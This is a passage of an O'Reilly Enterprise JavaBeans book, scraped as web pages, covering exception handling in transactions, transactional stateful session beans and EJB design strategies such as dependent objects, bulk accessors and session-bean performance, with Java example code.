transaction-attribute =

Bean-managed transaction beans do not use transaction attributes.

Application Exception

Rethrow the Application Exception.

Receives the Application Exception.

The client's transaction is not affected.

System Exception

Roll back the transaction.

Log the error.

Discard the instance.

Rethrow RemoteException.

Receives the RemoteException.

The client's transaction is not affected.

Previous | Home | Next
8.5. Explicit Transaction Management | Book Index | 8.7. EJB 1.0: Exceptions and Transactions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


EJB 1.0: Exceptions and Transactions (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

8.7. EJB 1.0: Exceptions and Transactions

In EJB 1.0, the impact of exceptions on transactions largely depends on who initiates the transaction. A transaction that is started automatically when a bean method is invoked is a container-initiated transaction. Specifying the TX_REQUIRES_NEW transaction attribute, for example, always results in a container-initiated transaction. A TX_REQUIRED method invoked by a non-transactional client also results in a container-initiated transaction. A transaction that is started explicitly using JTA (on the client or in a TX_BEAN_MANAGED bean) is not a container-initiated transaction.

With container-initiated transactions, any exception thrown during a transaction can cause the transaction to roll back. The impact of an exception thrown during a transaction depends on the type of exception (checked or unchecked) and the transaction attribute of the bean method throwing the exception. This section examines the different combinations of exceptions (checked or unchecked) and transaction attributes and their combined affect on transactional outcomes.

8.7.1. Container-Initiated Transactions

Any exception (application exception, unchecked exception, or RemoteException) not handled within the scope of the container-initiated transaction causes the container to roll back the entire transaction.

NOTE

An exception that is not handled within the scope of container-initiated transaction is an exception that is propagated, through the call stack, beyond the bean method that started the container-initiated transaction.

As an example, take another look at the bookPassage() method from the TravelAgent bean:

public Ticket bookPassage(CreditCard card, double price)
    throws IncompleteConversationalState, RemoteException {

    if (customer == null || cruise == null || cabin == null){
        throw new IncompleteConversationalState();
    }
    try {
        ReservationHome resHome = (ReservationHome)
            getHome("ReservationHome",ReservationHome.class);
        Reservation reservation =
        resHome.create(customer, cruise, cabin, price);
        ProcessPaymentHome ppHome = (ProcessPaymentHome)
            getHome("ProcessPaymentHome",ProcessPaymentHome.class);
        ProcessPayment process = ppHome.create();
        process.byCredit(customer, card, price);

        Ticket ticket = new Ticket(customer,cruise,cabin,price);
        return ticket;
    } catch(Exception e) {
        throw new RemoteException("",e);
    }
}

The beans (Reservation and ProcessPayment) accessed by the bookPassage() method have a transaction attribute of TX_REQUIRED. This means that the transaction associated with the bookPassage() method will be propagated to the methods called on the ProcessPayment and Reservation beans. If bookPassage() has a transaction attribute of TX_REQUIRES_NEW, then we can assume that it will always be called in the scope of a container-initiated transaction; when bookPassage() is invoked, a new container-initiated transaction is created.

In container-initiated transactions, any application exception thrown within the scope of the container-initiated transaction does not cause a rollback. This provides the bean with an opportunity to recover and retry an operation. However, an application exception that is not handled within the scope of the container-initiated transaction does cause the transaction to be rolled back.

This can be demonstrated by redefining the bookPassage() method:

public Ticket bookPassage(CreditCard card, double price)
    throws IncompleteConversationalState {
// EJB 1.0: also throws RemoteException

    if (customer == null || cruise == null || cabin == null) {
        throw new IncompleteConversationalState();
    }
    try {
        ReservationHome resHome = (ReservationHome)
            getHome("ReservationHome",ReservationHome.class);
        Reservation reservation =
        resHome.create(customer, cruise, cabin, price);
        ProcessPaymentHome ppHome = (ProcessPaymentHome)
            getHome("ProcessPaymentHome",ProcessPaymentHome.class);
        ProcessPayment process = ppHome.create();
        try {
           process.byCredit(customer, card, price);
        } catch(PaymentException pe) {
           // Attempt to recover.
        }

        Ticket ticket = new Ticket(customer,cruise,cabin,price);
        return ticket;
    } catch(Exception e){
        // EJB 1.0: throw new RemoteException("",e);
        throw new EJBException(e);
    }
}

Here, the byCredit() method of the ProcessPayment bean has been wrapped in its own exception-handling logic; we can imagine some sophisticated code in the catch block that evaluates the problem and attempts to reinvoke the method. In this case, the PaymentException thrown by the byCredit() method does not cause the bookPassage() container-initiated transaction to be rolled back because the application exception is thrown from within the container-initiated scope. However, if an IncompleteConversationalState exception is thrown by the bookPassage() method itself, the transaction will be rolled back. Once an exception is thrown by the bookPassage() method, and therefore not handled within the scope of the container-initiated transaction, the transaction will be rolled back.

These rules for application exceptions also apply to RemoteException types. If a RemoteException is thrown by a bean or by some other resource (JNDI, for example), that exception does not automatically cause a rollback. Rollback only occurs if the remote exception is not handled within of the scope of the container-initiated transaction.

8.7.2. Client-Initiated Transactions

When a transaction is propagated from a client to a bean, the client defines the scope of the transaction. This means that application exceptions and RemoteExceptions thrown by the beans do not automatically cause the transaction to be rolled back. Again, consider the possibility that the byCredit() method throws an application exception. If the client initiated the transaction, it's the client's responsibility to determine whether the operation can be retried and to roll back if appropriate. Similarly, if the bookPassage() method had a transaction attribute of TX_REQUIRED or TX_SUPPORTS and was invoked from a client-initiated transaction (perhaps the client uses JTA), then any application exception or RemoteException thrown from within the bookPassage() method will not automatically cause a rollback. The client must handle the exception and determine for itself if a rollback is appropriate.

8.7.3. Bean-Managed Transactions

The effect of exceptions is different on bean-managed transactions (TX_BEAN_MANAGED). With TX_BEAN_MANAGED entity beans and stateless session beans, any exception thrown by the bean method causes the transaction to be rolled back by the container. Remember that with TX_BEAN_MANAGED, transactions must begin and be completed within the same method. If an exception unexpectedly ends the method, the container rolls back the transaction.

With TX_BEAN_MANAGED stateful session beans, only unchecked exceptions thrown by bean methods cause the container to roll back the transaction. Any other exception thrown by the bean method, whether it be an application exception or RemoteException, does not affect the transaction. This can cause major headaches if the exception is thrown before an intended commit was reached. For this reason, beans that manage their own transactions must be extremely careful about exception handling. The EJBContext rollback methods can be used in these situations.

8.7.4. Unchecked Exceptions

Regardless of the method's transaction attribute (unless it's TX_NOT_SUPPORTED), an unchecked exception causes the transaction to be rolled back, regardless of whether the transaction is container-initiated, client-initiated, or bean-managed. Unchecked exceptions thrown by a bean in the scope of a transaction always cause a rollback. In addition, the container intercepts the unchecked exception and rethrows it to the bean's client as a javax.transaction.TransactionRolledbackException.[7]

[7] Bean methods with the TX_SUPPORTS attribute that are invoked by non-transactional clients are not included in this policy. They simply throw the unchecked exception as a RemoteException.

Previous | Home | Next
8.6. EJB 1.1: Exceptions and Transactions | Book Index | 8.8. Transactional Stateful Session Beans
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Transactional Stateful Session Beans (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

8.8. Transactional Stateful Session Beans

As you saw in Chapter 7, "Session Beans", session beans can interact directly with the database as easily as they can manage the workflow of other beans. The ProcessPayment bean, for example, makes inserts into the PAYMENT table when the byCredit() method is invoked. The TravelAgent bean queries the database directly when the listAvailableCabins() method is invoked. With stateless session beans like ProcessPayment, there is no conversational state, so each method invocation must make changes to the database immediately. With stateful session beans, however, we may not want to make changes to the database until the transaction is complete. Remember, a stateful session bean can be just one participant out of many in a transaction, so it may be advisable to postpone database updates until the entire transaction is committed or to avoid updates if it's rolled back.

There are several different scenarios in which a stateful session bean would want to cache changes before applying them to the database. In Chapter 9, "Design Strategies", we will take a look at modeling entity business concepts in stateful session beans that implement the SessionSynchronization interface. These sessions may have their methods invoked many times before writing to the database. For example, think of a shopping cart implemented by a stateful session bean that accumulates several items for purchase. If the bean implements SessionSynchronization, it can cache the items and only write them to the database when the transaction is complete.

The javax.ejb.SessionSynchronization interface allows a session bean to receive additional notification of the session's involvement in transactions. The addition of these transaction callback methods by the SessionSynchronization interface expands the bean's awareness of its life cycle to include a new state, the Transactional Method-Ready state. This third state, although not discussed in Chapter 7, "Session Beans", is always a part of the life cycle of a transactional stateful session bean. Implementing the SessionSynchronization interface simply makes it visible to the bean. Figures Chapter 8, "Transactions" and Figure 8-13 show the stateful session bean with the additional state in EJB 1.1 and EJB 1.0.

Figure 8-12. EJB 1.1 life cycle of a stateful session bean

Figure 8-13. EJB 1.0 life cycle of a stateful session bean

The SessionSynchronization interface has the following definition:

package javax.ejb;

public interface javax.ejb.SessionSynchronization {
    public abstract void afterBegin() throws RemoteException;
    public abstract void beforeCompletion() throws RemoteException;
    public abstract void afterCompletion(boolean committed)
        throws RemoteException;
}

When a method of the SessionSynchronization bean is invoked outside of a transaction scope, the method executes in the Method-Ready state as discussed in Chapter 7, "Session Beans". However, when a method is invoked within a transaction scope (or creates a new transaction), the bean moves into the Transactional Method-Ready state.

8.8.1. The Transactional Method-Ready State

8.8.1.1. Transitioning into the Transactional Method-Ready state

When a transactional method is invoked on a bean, the bean becomes part of the transaction. This causes the afterBegin() callback method defined in the SessionSynchronization interface to be invoked. This method should take care of reading any data from the database and storing the data in the bean's instance fields. The afterBegin() method is called before the EJB object delegates the business method invocation to the bean instance.

8.8.1.2. Life in the Transactional Method-Ready state

When the afterBegin() callback method is done, the business method originally invoked by the client is executed on the bean instance. Any subsequent business methods invoked within the same transaction will be delegated directly to the bean instance.

Once a stateful session bean is a part of a transaction--whether it implements SessionSynchronization or not--it cannot be accessed by any other transactional context. This is true regardless of whether the client tries to access the bean with a different context or the bean's own method creates a new context. If, for example, a method with a transaction attribute of Requires New is invoked, the new transactional context causes an error to be thrown. Since the attributes Not Supported and Never (EJB 1.1 only) imply a different transactional context (no context), invoking a method with thesex attributes also causes an error. A stateful session bean cannot be removed while it is involved in a transaction. This means that invoking ejbRemove() while the bean is in the middle of a transaction will cause an error to be thrown.

At some point, the transaction in which the bean has been enrolled will come to an end. If the transaction is committed, the bean will be notified through its beforeCompletion() method. At this time, the bean should write its cached data to the database. If the transaction is rolled back, the beforeCompletion() method will not be invoked, avoiding the pointless effort of writing changes that won't be committed to the database.

The afterCompletion() method is always invoked, whether the transaction ended successfully with a commit or unsuccessfully with a rollback. If the transaction was a success--which means that beforeCompletion() was invoked--the committed parameter of the afterCompletion() method will be true. If the transaction was unsuccessful, committed will be false.

It may be desirable to reset the stateful session bean's instance variables to some initial state if the afterCompletion() method indicates that the transaction was rolled back.

Previous | Home | Next
8.7. EJB 1.0: Exceptions and Transactions | Book Index | 9. Design Strategies
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Design Strategies (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

Chapter 9. Design Strategies

Contents:

Hash Codes in Compound Primary Keys
Passing Objects by Value
Improved Performance with Session Beans
Bean Adapters
Implementing a Common Interface
Entity Beans Without Create Methods
Entity Bean Relationships
Object-to-Relational Mapping Tools
When Entity Beans Are Not an Option
Avoid Chaining Stateful Session Beans

The previous eight chapters have presented the core EJB technology. What's left is a grab bag of miscellaneous issues: how do you solve particular design problems, how do you work with particular kinds of databases, and topics of that nature.

9.1. Hash Codes in Compound Primary Keys

Chapter 6, "Entity Beans" discusses the necessity of overriding the Object.hashCode() and Object.equals() methods in the primary key class. As an example, we used the primary key for the Ship bean, ShipPK . This is a simple primary key with a single integer field, id . Therefore, our hashCode() and equals() methods were very simple; hashCode() just returned the id field as the hash value. With complex primary keys that have several fields, overriding the Object.equals() method remains trivial. However, the Object.hashCode() method is more complicated because an integer value that can serve as a suitable hash code must be created from several fields.

One solution is to concatenate all the values into a String and use the String object's hashCode() method to create a hash code value for the whole primary key. The String class has a decent hash code algorithm that generates a fairly well distributed and repeatable hash code value from any set of characters. The following code shows how to create such a hash code for a hypothetical primary key:

public class HypotheticalPrimaryKey implements java.io.Serializable {
    public int primary_id;
    public short secondary_id;
    public java.util.Date date;
    public String desc;

    public int hashCode() {

        StringBuffer strBuff = new StringBuffer();
        strBuff.append(primary_id);
        strBuff.append(secondary_id);
        strBuff.append(date);
        strBuff.append(desc);
        String str = strBuff.toString();
        int hashCode = str.hashCode();
        return hashCode;
    }
    // the constructor, equals, and toString methods follow
}

A StringBuffer cuts down on the number of objects created, since String concatenation is expensive. The code could be improved by saving the hash code in a private variable and returning that value in subsequent method calls; this way, the hash code is only calculated once in the life of the instance.

9.1.1. Well-Distributed Versus Unique Hash Codes

A Hashtable is designed to provide fast lookups by binding an object to a key. Given any object's key, looking the object up in a hash table is a very quick operation. For the lookup, the key is converted to an integer value using the key's hashCode() method.

Hash codes do not need to be unique, only well-distributed. By "well-distributed," we mean that given any two keys, the chances are very good that the hash codes for the keys will be different. A well-distributed hash code algorithm reduces, but does not eliminate, the possibility that different keys evaluate to the same hash code. When keys evaluate to the same hash code, they are stored together and uniquely identified by their equals() method. If you look up an object using a key that evaluates to a hash code that is shared by several other keys, the Hashtable locates the group of objects that have been stored with the same hash code; then it uses the key's equals() method to determine which key (and hence, which object) you want. (That's why you have to override the equals() method in primary keys, as well as the hashCode() method.) Therefore, the emphasis in designing a good hash code algorithm is on producing codes that are well-distributed rather than unique. This allows you to design an index for associating keys with objects that is easy to compute, and therefore fast.

Previous | Home | Next
8.8. Transactional Stateful Session Beans | Book Index | 9.2. Passing Objects by Value
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Passing Objects by Value (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

9.2. Passing Objects by Value

Passing objects by valueis tricky with Enterprise JavaBeans. Two simple rules will keep you out of most problem areas: objects that are passed by value should be fine-grained dependent objects or wrappers used in bulk accessors, and dependent objects should be immutable.

9.2.1. Dependent Objects

Dependent objects are objects that only have meaning within the context of another business object. They typically represent fairly fine-grained business concepts, like an address, phone number, or order item. For example, an address has little meaning when it is not associated with a business object like Person or Organization. It depends on the context of the business object to give it meaning. Such an object can be thought of as a wrapper for related data. The fields that make up an address (street, city, state, and Zip) should be packaged together in a single object called Address. In turn, the Address object is usually an attribute or property of another business object; in EJB, we would typically see an Address or some other dependent object as a property of an entity bean.

Here's a typical implementation of an Address:

public class Address implements java.io.Serializable {

    private String street;
    private String city;
    private String state;
    private String zip;

    public Address(String str, String cty, String st, String zp) {
        street = str;
        city = cty;
        state = st;
        zip = zp;
    }
    public String getStreet() {return street;}
    public String getCity() {return city;}
    public String getState() {return state;}
    public String getZip() {return zip;}
}

We want to make sure that clients don't change an Address 's fields. The reason is quite simple: the Address object is a copy, not a remote reference. Changes to Address objects are not reflected in the entity from which it originated. If the client were to change the Address object, those changes would not be reflected in the database. Making the Address immutable helps to ensure that clients do not mistake this fine-grained object for a remote reference, thinking that a change to an address property is reflected on the server.

NOTE

Some EJB 1.0 servers that use early versions of CORBA IIOP do not support passing objects by value. With these vendors, dependent objects must declare their fields as public. Of course, since the fields are public, the client can modify them directly. In these cases you need to trust your client programmers to exercise some discipline in the way they use the Address object.

To change an address, the client is required to remove the Address object and add a new one with the changes. This enforces the idea that the dependent object is not a remote object and that changes to its state are not reflected on the server. Here is the remote interface to a hypothetical Employee bean that aggregates address information:

public interface Employee extends javax.ejb.EJBObject {
    public Address [] getAddresses() throws RemoteException;
    public void removeAddress(Address adrs) throws RemoteException;
    public void addAddress(Address adrs) throws RemoteException;
    // ... Other business methods follow.
}

In this interface, the Employee can have many addresses, which are obtained as a collection of pass-by-value Address objects. To remove an address, the target Address is passed back to the bean in the removeAddress() method. The bean class then removes the matching Address object from its persistent fields. To add an address, an Address object is passed to the bean by value.

Dependent objects may be persistent fields, or they may be properties that are created as needed. The following code demonstrates both strategies using the Address object. In the first listing, the Address object is a persistent field, while in the second the Address object is a property that doesn't correspond to any single field; we create the Address object as needed but don't save it as part of the bean. Instead, the Address object corresponds to four persistent fields: street, city, state, and zip.

// Address as a persistent field
public class Person extends javax.ejb.EntityBean {
   public Address address;
   public Address getAddress(){
       return address;
   }
   public void setAddress(Address addr){
       address = addr;
   }
  ....
}

// Address as a property
public class Person extends javax.ejb.EntityBean {

   public String street;
   public String city;
   public String state;
   public String zip;

   public Address getAddress(){
       return new Address(street, city, state, zip);
   }
   public void setAddress(Address addr){
       street = addr.street;
       city = addr.city;
       state = addr.state;
       zip = addr.zip;
   }
  ....
}

When a dependent object is used as a property, it can be synchronized with the persistent fields in the accessor methods themselves or in the ejbLoad() and ejbStore() methods. Both strategies are acceptable.

This discussion of dependent objects has been full of generalizations, and thus may not be applicable to all situations. That said, it is recommended that only very fine-grained, dependent, immutable objects should be passed by value. All other business concepts should be represented as beans--entity or session. A very fine-grained object is one that has very little behavior, consisting mostly of get and set methods. A dependent object is one that has little meaning outside the context of its aggregator. An immutable object is one that provides only get methods and thus cannot be modified once created.

9.2.2. Validation Rules in Dependent Objects

Dependent objects make excellent homes for format validation rules. Format validation ensures that a simple data construct adheres to a predetermined structure or form. As an example, a Zip Code always has a certain format. It must be composed of digits; it must be five or nine digits in length; and if it has nine digits, it must use a hyphen as a separator between the fifth and sixth digits. Checking to see that a Zip Code follows these rules is format validation.

One problem that all developers face is deciding where to put validation code. Should data be validated at the user interface (UI), or should it be done by the bean that uses the data? Validating the data at the UI has the advantage of conserving network resources and improving performance. Validating data in the bean, on the middle tier, ensures that the logic is reusable across user interfaces. Dependent objects provide a logical compromise that allows data to be validated on the client, but remain independent of the UI. By placing the validation logic in the constructor of a dependent object, the object automatically validates data when it is created. When data is entered at the UI (GUI, Servlet, JSP, or whatever) it can be validated by the UI using its corresponding dependent object. If the data is valid, the dependent object is created; if the data is invalid, the constructor throws an exception.

The following code shows a dependent object that represents a Zip Code. It adheres to the rules for a dependent object as I have defined them, and also includes format validation rules in the constructor.

public class ZipCode implements java.io.Serializable {

   private String code;
   private String boxNumber;

   public ZipCode(String zipcode) throws ValidationException {
      if (zipcode == null)
          throw new ValidationException("Zip code cannot be null");
      else if (zipcode.length()==5 && ! isDigits(zipcode))
          throw new ValidationException("Zip code must be all digits");
      else if (zipcode.length()==10 )
          if (zipcode.charAt(5) == '-' ) {
            code = zipcode.substring(0,5);
            if (isDigits( code )){
              boxNumber = zipcode.substring(6);
                if (isDigits( boxNumber ))
                    return;
             }
          }
          throw new ValidationException("Zip code must be of form #####-####");
   }
   private boolean isDigits(String str) {
      for (int i = 0; i < str.length(); i++){
          char chr = str.charAt(i);
          if ( ! Character.isDigit(chr)) {
              return false;
          }
      }
      return true;
   }
   public String getCode() { return code; }

   public String getBoxNumber() { return boxNumber; }

   public String toString() {
      return code+'-'+boxNumber;
   }
}

This simple example illustrates that format validation can be performed by dependent objects when the object is constructed at the user interface or client. Any format validation errors are reported immediately, without requiring any interaction with the middle tier of the application. In addition, any business object that uses ZipCode automatically gains the benefit of the validation code, making the validation rules reusable (and consistent) across beans. Placing format validation in the dependent object is also a good coding practice because it makes the dependent object responsible for its own validation; responsibility is a key concept in object-oriented programming. Of course, dependent objects are only useful for validation if the Enterprise JavaBeans implementation supports pass-by-value. Some of the EJB 1.0 CORBA-based systems only support a crude form of pass-by-value that uses CORBA structures, which prevents you from using dependent objects that incorporate validation rules.

As an alternative to using dependent objects, format validation can be performed by the accessors of enterprise beans. If, for example, a customer bean has accessors for setting and obtaining the Zip Code, the accessors could incorporate the validation code. While this is more efficient from a network perspective--passing a String value is more efficient than passing a dependent object by value--it is less reusable than housing format validation rules in dependent objects.

9.2.3. Bulk Accessors

Most entity beans have several persistent fields that are manipulated through accessor methods. Unfortunately, the one-to-one nature of the accessor idiom can result in many invocations when editing an entity, which translates into a lot of network traffic even for simple edits. Every field you want to modify requires a method invocation, which in turn requires you to go out to the network. One way to reduce network traffic when editing entities is to use bulk accessors. This strategy packages access to several persistent fields into one bulk accessor. Bulk accessors provide get and set methods that work with structures or simple pass-by-value objects. The following code shows how a bulk accessor could be implemented for the Cabin bean:

// CabinData DataObject
public class CabinData {
    public String name;
    public int deckLevel;
    public int bedCount;
    public CabinData() {
    }
    public CabinData(String name, int deckLevel, int bedCount) {
        this.name = name;
        this.deckLevel = deckLevel;
        this.bedCount = bedCount;
    }
}

// CabinBean using bulk accessors
public class CabinBean implements javax.ejb.EntityBean {
     public int id;
     public String name;
     public int deckLevel;
     public int ship;
     public int bedCount;
     // bulk accessors
     public CabinData getData() {
         return new CabinData(name,deckLevel,bedCount);
     }
     public void setData(CabinData data) {
         name = data.name;
         deckLevel = data.deckLevel;
         bedCount = data.bedCount;
     }
     // simple accessors and entity methods
     public String getName() {
         return name;
     }
     public void setName(String str) {
         name = str;
     }
     // more methods follow
 }

The getData() and setData() methods allow several fields to be packaged into a simple object and passed between the client and bean in one method call. This is much more efficient than requiring three separate calls to set the name, deck level, and bed count.

9.2.3.1. Rules-of-thumb for bulk accessors

Data objects are not dependent objects

Data objects and dependent objects serve clearly different purposes, but they may appear at first to be the same. Where dependent objects represent business concepts, data objects do not; they are simply an efficient way of packaging an entity's fields for access by clients. Data objects may package dependent objects along with more primitive attributes, but they are not dependent objects themselves.

Data objects are simple structures

Keep the data objects as simple as possible; ideally, they should be similar to a simple struct in C. In other words, the data object should not have any business logic at all; it should only have fields. All the business logic should remain in the entity bean, where it is centralized and easily maintained. In addition, some EJB systems based on CORBA 2.0 may not be capable of passing complex objects by value.

In order to keep the semantics of a C struct, data objects should not have accessor (get and set) methods for reading and writing their fields. The CabinData class doesn't have accessor methods; it only has fields and a couple of constructors. The lack of accessors reinforces the idea that the data object exists only to bundle fields together, not to "behave" in a particular manner. As a design concept, we want the data object to be a simple structure devoid of behavior; it's a matter of form following function. The exception is the multi-argument constructor, which is left as a convenience for the developer.

Bulk accessors bundle related fields

The bulk accessors can pass a subset of the entity's data. Some fields may have different security or transaction needs, which require that they be accessed separately. In the CabinBean, only a subset of the fields (name, deckLevel, bedCount) are passed in the data object. The id field is not included for several reasons: it doesn't describe the business concept, it's already found in the primary key, and the client should not edit it. The ship field is not passed because it should only be updated by certain individuals; the identities authorized to change this field are different from the identities allowed to change the other fields. Similarly, access to the ship may fall under a different transaction isolation level than the other fields (e.g., Serializable versus Read Committed).

In addition, it's more efficient to design bulk accessors that pass logically related fields. In entity beans with many fields, it is possible to group certain fields that are normally edited together. An employee bean, for example, might have several fields that are demographic in nature (address, phone, email) that can be logically separated from fields that are specific to benefits (compensation, 401K, health, vacation). Logically related fields can have their own bulk accessor; you might even want several bulk accessors in the same bean:

public interface Employee extends javax.ejb.EJBObject {

   public EmployeeBenefitsData getBenefitsData()
      throws RemoteException;

   public void setBenefitsData(EmployeeBenefitsData data)
      throws RemoteException;

   public EmployeeDemographicData getDemographicData()
      throws RemoteException;

   public void setDemographicData(EmployeeDemographicData data)
      throws RemoteException;

   // more simple accessors and other business methods follow

}
Retain simple accessors

Simple accessors (get and set methods for single fields) should not be abandoned when using bulk accessors. It is still important to allow editing of single fields. It's just as wasteful to use a bulk accessor to change one field as it is to change several fields using simple accessors.

9.2.4. Entity Objects

The pass-by-value section earlier gave you some good ground rules for when and how to use pass-by-value in EJB. Business concepts that do not meet the dependent object criteria should be modeled as either session or entity beans. It's easy to mistakenly adopt a strategy of passing business objects that would normally qualify as entity beans (Customer, Ship, and City) by value to the clients. Overzealous use of bulk accessors that pass data objects loaded with business behavior is bad design. The belief is that passing the entity objects to the client avoids unnecessary network traffic by keeping the set and get methods local. The problem with this approach is object equivalence. Entities are supposed to represent the actual data on the database, which means that they are shared and always reflect the current state of the data. Once an object is resident on the client, it is no longer representative of the data. It is easy for a client to end up with many dirty copies of the same entity, resulting in inconsistent processing and representation of data.

While it's true that the set and get methods of entity objects can introduce a lot of network traffic, implementing pass-by-value objects instead of using entity beans is not the answer. The network problem can be avoided if you stick to the design strategy elaborated throughout this book: remote clients interact primarily with session beans, not entity beans. You can also reduce network traffic significantly by using bulk accessors, provided that these accessors only transfer structures with no business logic. Finally, try to keep the entity beans on the server encapsulated in workflow defined by session beans. This eliminates the network traffic associated with entities, while ensuring that they always represent the correct data.

Previous | Home | Next
9.1. Hash Codes in Compound Primary Keys | Book Index | 9.3. Improved Performance with Session Beans
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Improved Performance with Session Beans (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

9.3. Improved Performance with Session Beans

In addition to defining the interactions among entity beans and other resources (workflow), session beans have another substantial benefit: they improve performance. The performance gains from using session beans are related to the concept of granularity. Granularity describes the scope of a business component, or how much business territory the component covers. As you learned previously, very fine-grained dependent business objects are usually modeled as pass-by-value objects. At a small granularity, you are dealing with entity beans like Ship or Cabin. These have a scope limited to a single concept and can only impact the data associated with that concept. Session beans represent large, coarse-grained components with a scope that covers several business concepts--all the business concepts or processes that the bean needs in order to accomplish a task. In distributed business computing, you rely on fine-grained components like entity beans to ensure simple, uniform, reusable, and safe access to data. Coarse-grained business components like session beans capture the interactions of entities or business processes that span multiple entities so that they can be reused; in doing so, they also improve performance on both the client and the server. As a rule of thumb, client applications should do most of their work with coarse-grained components like session beans, and with limited direct interaction with entity beans.

To understand how session beans improve performance, we have to address the most common problems cited with distributed component systems: network traffic, latency, and resource consumption.

9.3.1. Network Traffic and Latency

One of the biggest problems of distributed component systems is that they generate a lot of network traffic. This is especially true of component systems that rely solely on entity-type business components, such as EJB's EntityBean component. Every method call on a remote reference begins a remote method invocation loop, which sends information from the stub to the server and back to the stub. The loop requires data to be streamed to and from the client, consuming bandwidth. If we built a reservation system for Titan Cruise Lines, we would probably use several entity beans like Ship, Cabin, Cruise, and Customer. As we navigate through these fine-grained beans, requesting information, updating their states, and creating new beans, we generate network traffic. One client probably doesn't generate very much traffic, but multiply that by thousands of clients and we start to develop problems. Eventually, thousands of clients will produce so much network traffic that the system as a whole will suffer.

Another aspect of network communications is latency. Latency is the delay between the time we execute a command and the time it completes. With enterprise beans there is always a bit of latency due to the time it takes to communicate requests via the network. Each method invocation requires a RMI loop that takes time to travel from the client to the server and back to the client. A client that uses many beans will suffer from a time delay with each method invocation. Collectively, the latency delays can result in very slow clients that take several seconds to respond to each user action.

Accessing coarse-grained session beans from the client instead of fine-grained entity beans can substantially reduce problems with network bandwidth and latency. In Chapter 6, "Entity Beans", we developed the bookPassage() method on the TravelAgent bean. The bookPassage() method encapsulates the interactions of entity beans that would otherwise have resided on the client. For the network cost of one method invocation on the client (bookPassage()), several tasks are performed on the EJB server. Using session beans to encapsulate several tasks reduces the number of remote method invocations needed to accomplish a task, which reduces the amount of network traffic and latency encountered while performing these tasks.

9.3.2. Resource Consumption

Make decisions about whether to access data directly or through entity beans with care. Listing behavior that is specific to a workflow should be provided by direct data access from a session bean. Methods like listAvailableCabins() in the TravelAgent bean use direct data access because it is less expensive than creating a find method in the Cabin bean that returns a list of Cabin beans. Every bean that the system has to deal with requires resources; by avoiding the use of components where their benefit is questionable, we can improve the performance of the whole system. A CTM is like a powerful truck, and each business component it manages is like a small weight. A truck is much better at hauling around a bunch of weights than an lightweight vehicle like a bicycle, but piling too many weights on the truck will make it just as ineffective as the bicycle. If neither vehicle can move, which one is better?

9.3.3. Striking a Balance

We don't want to abandon the use of entity business components, because they provide several advantages over traditional two-tier computing. They allow us to encapsulate the business logic and data of a business concept so that it can be used consistently and reused safely across applications. In short, entity business components are better for accessing business state because they simplify data access.

At the same time, we don't want to overuse entity beans on the client. Instead, we want the client to interact with coarse-grained session beans that encapsulate the interactions of small-grained entity beans. There are situations where the client application should interact with entity beans directly. If a client application needs to edit a specific entity--change the address of a customer, for example--exposing the client to the entity bean is more practical than using a session bean. If, however, a task needs to be performed that involves the interactions of more than one entity bean--transferring money from account to another, for example--then a session bean should be used.

When a client application needs to perform a very specific operation on an entity, like an update, it makes sense to make the entity available to client directly. If the client is performing a task that spans business concepts or otherwise involves more then one entity, that task should be modeled in a session bean as a workflow. A good design will emphasize the use of coarse-grained session beans as workflow and limit the number of activities that require direct client access to entity beans.

9.3.4. Listing Behavior

Chapter 7, "Session Beans" spends some time discussing the TravelAgent bean's listAvailableCabins() method as an example of a method that returns a list of tabular data. This section provides several different strategies for implementing listing behavior in your beans.

Tabular data is data that is arranged into rows and columns. Tabular data is often used to let application users select or inspect data in the system. Enterprise JavaBeans lets you use find methods to list entity beans, but this mechanism is not a silver bullet. In many circumstances, find methods that return remote references are a heavyweight solution to a lightweight problem. For example, Chapter 9, "Design Strategies" shows the schedule for a cruise.

Table 9-1. Hypothetical Cruise Schedule

Cruise ID | Port-of-Call | Arrive | Depart
233 | San Juan | June 4, 1999 | June 5, 1999
233 | Aruba | June 7, 1999 | June 8, 1999
233 | Cartagena | June 9, 1999 | June 10, 1999
233 | San Blas Islands | June 11, 1999 | June 12, 1999

It would be possible to create a Port-Of-Call entity object that represents every destination, and then obtain a list of destinations using a find method, but this would be overkill. Recognizing that the data is not shared and only useful in this one circumstance, we would rather present the data as a simple tabular listing.

In this case, we will present the data to the bean client as an array of String objects, with the values separated by a character delimiter. Here is the method signature used to obtain the data:.

public interface Schedule implements javax.ejb.EJBObject {
    public String [] getSchedule(int ID) throws RemoteException;
}

And here is the structure of the String values returned by the getSchedule() method:

233; San Juan; June 4, 1999; June 5, 1999
233; Aruba; June 7, 1999; June 8, 1999
233; Cartegena; June 9, 1999; June 10, 1999
233; San Blas Islands; June 11, 1999; June 12, 1999

The data could also be returned as a multidimensional array of strings, in which each column represents one field. This would certainly make it easier to reference each data item, but would also complicate navigation.

One disadvantage to using the simple array strategy is that Java is limited to single type arrays. In other words, all the elements in the array must be of the same type. We use an array of Strings here because it has the most flexibility for representing other data types. We could also have used an array of Objects or even a Vector. The problem with using an Object array or a Vector is that there is no typing information at runtime or development time.

9.3.4.1. Implementing lists as arrays of structures

Instead of returning a simple array, a method that implements some sort of listing behavior can also return an array of structures. For example, to return the cruise ship schedule data illustrated in , you could return an array of schedule structures. The structures are simple Java objects with no behavior (i.e., no methods) that are passed in an array. The definition of the structure and the bean interface that would be used are:

// Definition of the bean that uses the Structure
public interface Schedule implements javax.ejb.EJBObject {
  public CruiseScheduleItem [] getSchedule(int ID) throws RemoteException;
}

// Definition of the Structure
public class CruiseScheduleItem {
    public int cruiseID;
    public String portName;
    public java.util.Date arrival;
    public java.util.Date departure;
}

Using structures allows the data elements to be of different types. In addition, the structures are self describing: it is easy to determine the structure of the data in the tabular set based on its class definition.

9.3.4.2. Implementing lists as ResultSets

